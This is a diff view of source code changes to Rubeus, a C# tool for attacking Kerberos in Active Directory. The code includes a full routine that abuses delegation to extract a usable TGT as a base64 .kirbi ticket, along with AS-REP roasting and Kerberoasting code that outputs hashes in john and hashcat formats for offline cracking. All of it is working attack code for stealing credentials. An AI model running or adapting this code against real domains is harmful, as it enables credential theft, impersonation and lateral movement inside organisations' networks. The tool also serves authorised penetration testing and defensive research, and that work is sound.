|
||||
{
|
||||
string errorMessage = new Win32Exception((int)winError).Message;
|
||||
Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, target, errorMessage);
|
||||
returnedSessionKey = null;
|
||||
}
|
||||
|
||||
// clean up
|
||||
Interop.LsaFreeReturnBuffer(responsePointer);
|
||||
Marshal.FreeHGlobal(unmanagedAddr);
|
||||
|
||||
// disconnect from LSA
|
||||
Interop.LsaDeregisterLogonProcess(lsaHandle);
|
||||
|
||||
return returnedSessionKey;
|
||||
}
|
||||
|
||||
public static void RequestFakeDelegTicket(string targetSPN = "")
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
|
||||
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
{
|
||||
Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'");
|
||||
string domainController = Networking.GetDCName();
|
||||
if(String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
Console.WriteLine("[X] Error retrieving current domain controller");
|
||||
return;
|
||||
}
|
||||
targetSPN = String.Format("HOST/{0}", domainController);
|
||||
}
|
||||
|
||||
Interop.SECURITY_HANDLE phCredential = new Interop.SECURITY_HANDLE();
|
||||
Interop.SECURITY_INTEGER ptsExpiry = new Interop.SECURITY_INTEGER();
|
||||
int SECPKG_CRED_OUTBOUND = 2;
|
||||
|
||||
// first get a handle to the Kerberos package
|
||||
int status = Interop.AcquireCredentialsHandle(null, "Kerberos", SECPKG_CRED_OUTBOUND, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref phCredential, ref ptsExpiry);
|
||||
|
||||
if (status == 0)
|
||||
{
|
||||
Interop.SecBufferDesc ClientToken = new Interop.SecBufferDesc(12288);
|
||||
Interop.SECURITY_HANDLE ClientContext = new Interop.SECURITY_HANDLE(0);
|
||||
uint ClientContextAttributes = 0;
|
||||
Interop.SECURITY_INTEGER ClientLifeTime = new Interop.SECURITY_INTEGER(0);
|
||||
int SECURITY_NATIVE_DREP = 0x00000010;
|
||||
int SEC_E_OK = 0x00000000;
|
||||
int SEC_I_CONTINUE_NEEDED = 0x00090312;
|
||||
|
||||
Console.WriteLine("[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'", targetSPN);
|
||||
|
||||
// now initialize the fake delegate ticket for the specified targetname (default HOST/DC.domain.com)
|
||||
int status2 = Interop.InitializeSecurityContext(ref phCredential,
|
||||
IntPtr.Zero,
|
||||
targetSPN, // null string pszTargetName,
|
||||
(int)(Interop.ISC_REQ.ALLOCATE_MEMORY | Interop.ISC_REQ.DELEGATE | Interop.ISC_REQ.MUTUAL_AUTH),
|
||||
0, //int Reserved1,
|
||||
SECURITY_NATIVE_DREP, //int TargetDataRep
|
||||
IntPtr.Zero, //Always zero first time around...
|
||||
0, //int Reserved2,
|
||||
out ClientContext, //pHandle CtxtHandle = SecHandle
|
||||
out ClientToken, //ref SecBufferDesc pOutput, //PSecBufferDesc
|
||||
out ClientContextAttributes, //ref int pfContextAttr,
|
||||
out ClientLifeTime); //ref IntPtr ptsExpiry ); //PTimeStamp
|
||||
|
||||
if ((status2 == SEC_E_OK) || (status2 == SEC_I_CONTINUE_NEEDED))
|
||||
{
|
||||
Console.WriteLine("[+] Kerberos GSS-API initialization success!");
|
||||
|
||||
if ((ClientContextAttributes & (uint)Interop.ISC_REQ.DELEGATE) == 1)
|
||||
{
|
||||
Console.WriteLine("[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.");
|
||||
|
||||
// the fake delegate AP-REQ ticket is now in the cache!
|
||||
|
||||
// the Kerberos OID to search for in the output stream
|
||||
// from Kekeo -> https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345
|
||||
byte[] KeberosV5 = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2
|
||||
byte[] ClientTokenArray = ClientToken.GetSecBufferByteArray();
|
||||
int index = Helpers.SearchBytePattern(KeberosV5, ClientTokenArray);
|
||||
if (index > 0)
|
||||
{
|
||||
int startIndex = index += KeberosV5.Length;
|
||||
|
||||
// check if the first two bytes == TOK_ID_KRB_AP_REQ
|
||||
if ((ClientTokenArray[startIndex] == 1) && (ClientTokenArray[startIndex+1] == 0))
|
||||
{
|
||||
Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output.");
|
||||
|
||||
startIndex += 2;
|
||||
byte[] apReqArray = new byte[ClientTokenArray.Length-startIndex];
|
||||
Buffer.BlockCopy(ClientTokenArray, startIndex, apReqArray, 0, apReqArray.Length);
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt asn_AP_REQ = AsnElt.Decode(apReqArray, false);
|
||||
|
||||
foreach(AsnElt elt in asn_AP_REQ.Sub[0].Sub)
|
||||
{
|
||||
if (elt.TagValue == 4)
|
||||
{
|
||||
// build the encrypted authenticator
|
||||
EncryptedData encAuthenticator = new EncryptedData(elt.Sub[0]);
|
||||
Interop.KERB_ETYPE authenticatorEtype = (Interop.KERB_ETYPE)encAuthenticator.etype;
|
||||
Console.WriteLine("[*] Authenticator etype: {0}", authenticatorEtype);
|
||||
|
||||
// grab the service ticket session key from the local cache
|
||||
byte[] key = GetEncryptionKeyFromCache(targetSPN, authenticatorEtype);
|
||||
|
||||
if (key != null)
|
||||
{
|
||||
string base64SessionKey = Convert.ToBase64String(key);
|
||||
Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey);
|
||||
|
||||
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h)
|
||||
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher);
|
||||
|
||||
AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false);
|
||||
|
||||
foreach (AsnElt elt2 in asnAuthenticator.Sub[0].Sub)
|
||||
{
|
||||
if (elt2.TagValue == 3)
|
||||
{
|
||||
Console.WriteLine("[+] Successfully decrypted the authenticator");
|
||||
|
||||
int cksumtype = Convert.ToInt32(elt2.Sub[0].Sub[0].Sub[0].GetInteger());
|
||||
|
||||
// check if cksumtype == GSS_CHECKSUM_TYPE
|
||||
if (cksumtype == 0x8003)
|
||||
{
|
||||
byte[] checksumBytes = elt2.Sub[0].Sub[1].Sub[0].GetOctetString();
|
||||
|
||||
// check if the flags include GSS_C_DELEG_FLAG
|
||||
if ((checksumBytes[20] & 1) == 1)
|
||||
{
|
||||
ushort dLen = BitConverter.ToUInt16(checksumBytes, 26);
|
||||
byte[] krbCredBytes = new byte[dLen];
|
||||
// copy out the krbCredBytes from the checksum structure
|
||||
Buffer.BlockCopy(checksumBytes, 28, krbCredBytes, 0, dLen);
|
||||
|
||||
AsnElt asn_KRB_CRED = AsnElt.Decode(krbCredBytes, false);
|
||||
Ticket ticket = null;
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
foreach (AsnElt elt3 in asn_KRB_CRED.Sub[0].Sub)
|
||||
{
|
||||
if (elt3.TagValue == 2)
|
||||
{
|
||||
// extract the TGT and add it to the KRB-CRED
|
||||
ticket = new Ticket(elt3.Sub[0].Sub[0].Sub[0]);
|
||||
cred.tickets.Add(ticket);
|
||||
}
|
||||
else if (elt3.TagValue == 3)
|
||||
{
|
||||
byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString();
|
||||
|
||||
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14
|
||||
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part);
|
||||
|
||||
// decode the decrypted plaintext enc par and add it to our final cred object
|
||||
AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false);
|
||||
cred.enc_part.ticket_info.Add(new KrbCredInfo(encKrbCredPartAsn.Sub[0].Sub[0].Sub[0].Sub[0]));
|
||||
}
|
||||
}
|
||||
|
||||
byte[] kirbiBytes = cred.Encode().Encode();
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: Invalid checksum type: {0}", cksumtype);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: Unable to extract session key from cache for target SPN: {0}", targetSPN);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!");
|
||||
}
|
||||
}
|
||||
else {
|
||||
Console.WriteLine("[X] Error: Client is not allowed to delegate to target: {0}", targetSPN);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: InitializeSecurityContext error: {0}", status2);
|
||||
}
|
||||
// cleanup 1
|
||||
Interop.DeleteSecurityContext(ref ClientContext);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: AcquireCredentialsHandle error: {0}", status);
|
||||
}
|
||||
|
||||
// cleanup 2
|
||||
Interop.FreeCredentialsHandle(ref phCredential);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -11,12 +11,12 @@ namespace Rubeus
|
|||
{
|
||||
public class Roast
|
||||
{
|
||||
public static void ASRepRoast(string userName, string domain, string domainController = "")
|
||||
public static void ASRepRoast(string userName, string domain, string domainController = "", string format = "john")
|
||||
{
|
||||
GetASRepHash(userName, domain, domainController);
|
||||
GetASRepHash(userName, domain, domainController, format);
|
||||
}
|
||||
|
||||
public static void GetASRepHash(string userName, string domain, string domainController = "")
|
||||
public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "")
|
||||
{
|
||||
// roast AS-REPs for users without pre-authentication enabled
|
||||
|
||||
|
@ -69,7 +69,18 @@ namespace Rubeus
|
|||
|
||||
// output the hash of the encrypted KERB-CRED in a crackable hash form
|
||||
string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
|
||||
string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
|
||||
repHash = repHash.Insert(32, "$");
|
||||
|
||||
string hashString = "";
|
||||
if(format == "john")
|
||||
{
|
||||
hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
|
||||
}
|
||||
else
|
||||
{
|
||||
// eventual hashcat format
|
||||
hashString = String.Format("$krb5asrep${0}$*{1}${2}*${3}${4}", (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32));
|
||||
}
|
||||
|
||||
Console.WriteLine("[*] AS-REP hash:\r\n");
|
||||
|
||||
|
@ -223,53 +234,29 @@ namespace Rubeus
|
|||
{
|
||||
string domain = "DOMAIN";
|
||||
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn);
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName);
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName);
|
||||
#endif
|
||||
if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
|
||||
{
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!");
|
||||
#endif
|
||||
// extract the domain name from the distinguishedname
|
||||
Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
|
||||
string domainDN = dnMatch.Groups["Domain"].ToString();
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN);
|
||||
#endif
|
||||
domain = domainDN.Replace("DC=", "").Replace(',', '.');
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain);
|
||||
#endif
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
//Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn);
|
||||
// the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the
|
||||
// GetRequest() stream was constributed to PowerView by @machosec
|
||||
System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket;
|
||||
if (cred != null)
|
||||
{
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null");
|
||||
#endif
|
||||
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
|
||||
}
|
||||
else
|
||||
{
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn);
|
||||
#endif
|
||||
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn);
|
||||
}
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful");
|
||||
#endif
|
||||
byte[] requestBytes = ticket.GetRequest();
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] requestBytes len: {0}", requestBytes.Length);
|
||||
#endif
|
||||
|
||||
if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) )
|
||||
{
|
||||
Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n");
|
||||
|
@ -279,16 +266,9 @@ namespace Rubeus
|
|||
// ignore the GSSAPI frame
|
||||
byte[] apReqBytes = new byte[requestBytes.Length-17];
|
||||
Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17);
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length);
|
||||
#endif
|
||||
|
||||
AsnElt apRep = AsnElt.Decode(apReqBytes);
|
||||
|
||||
#if DEBUG
|
||||
Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue);
|
||||
#endif
|
||||
|
||||
if (apRep.TagValue != 14)
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue);
|
||||
|
@ -298,11 +278,7 @@ namespace Rubeus
|
|||
|
||||
foreach (AsnElt elem in apRep.Sub[0].Sub)
|
||||
{
|
||||
if (elem.TagValue == 0)
|
||||
{
|
||||
encType = elem.Sub[0].GetInteger();
|
||||
}
|
||||
else if (elem.TagValue == 3)
|
||||
if (elem.TagValue == 3)
|
||||
{
|
||||
foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub)
|
||||
{
|
||||
|
@ -310,6 +286,11 @@ namespace Rubeus
|
|||
{
|
||||
foreach (AsnElt elem3 in elem2.Sub[0].Sub)
|
||||
{
|
||||
if (elem3.TagValue == 0)
|
||||
{
|
||||
encType = elem3.Sub[0].GetInteger();
|
||||
}
|
||||
|
||||
if (elem3.TagValue == 2)
|
||||
{
|
||||
byte[] cipherTextBytes = elem3.Sub[0].GetOctetString();
|
||||
|
|
|
@ -26,7 +26,7 @@ namespace Rubeus
|
|||
ticket_info = new List<KrbCredInfo>();
|
||||
|
||||
byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
|
||||
AsnElt body2 = AsnElt.Decode(octetString);
|
||||
AsnElt body2 = AsnElt.Decode(octetString, false);
|
||||
|
||||
// assume only one KrbCredInfo for now
|
||||
KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);
|
||||
|
|
|
@ -33,6 +33,11 @@ namespace Rubeus
|
|||
// the realm (domain) the user exists in
|
||||
req.req_body.realm = domain;
|
||||
|
||||
// add in our encryption types
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
|
||||
if (!String.IsNullOrEmpty(s4uUser))
|
||||
{
|
||||
// constrained delegation yo'
|
||||
|
@ -44,21 +49,37 @@ namespace Rubeus
|
|||
|
||||
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
|
||||
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
//req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
//req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||
//req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
// add in our encryption type
|
||||
req.req_body.etypes.Add(etype);
|
||||
//// add in our encryption type
|
||||
//req.req_body.etypes.Add(etype);
|
||||
|
||||
// KRB_NT_SRV_INST = 2
|
||||
// service and other unique instance (e.g. krbtgt)
|
||||
req.req_body.sname.name_type = 2;
|
||||
req.req_body.sname.name_string.Add(sname);
|
||||
req.req_body.sname.name_string.Add(domain);
|
||||
string[] parts = sname.Split('/');
|
||||
if (parts.Length == 1)
|
||||
{
|
||||
// KRB_NT_SRV_INST = 2
|
||||
// service and other unique instance (e.g. krbtgt)
|
||||
req.req_body.sname.name_type = 2;
|
||||
req.req_body.sname.name_string.Add(sname);
|
||||
req.req_body.sname.name_string.Add(domain);
|
||||
}
|
||||
else if (parts.Length == 2)
|
||||
{
|
||||
// KRB_NT_SRV_INST = 2
|
||||
// SPN (sname/server.domain.com)
|
||||
req.req_body.sname.name_type = 2;
|
||||
req.req_body.sname.name_string.Add(parts[0]);
|
||||
req.req_body.sname.name_string.Add(parts[1]);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
|
||||
}
|
||||
|
||||
if (renew)
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue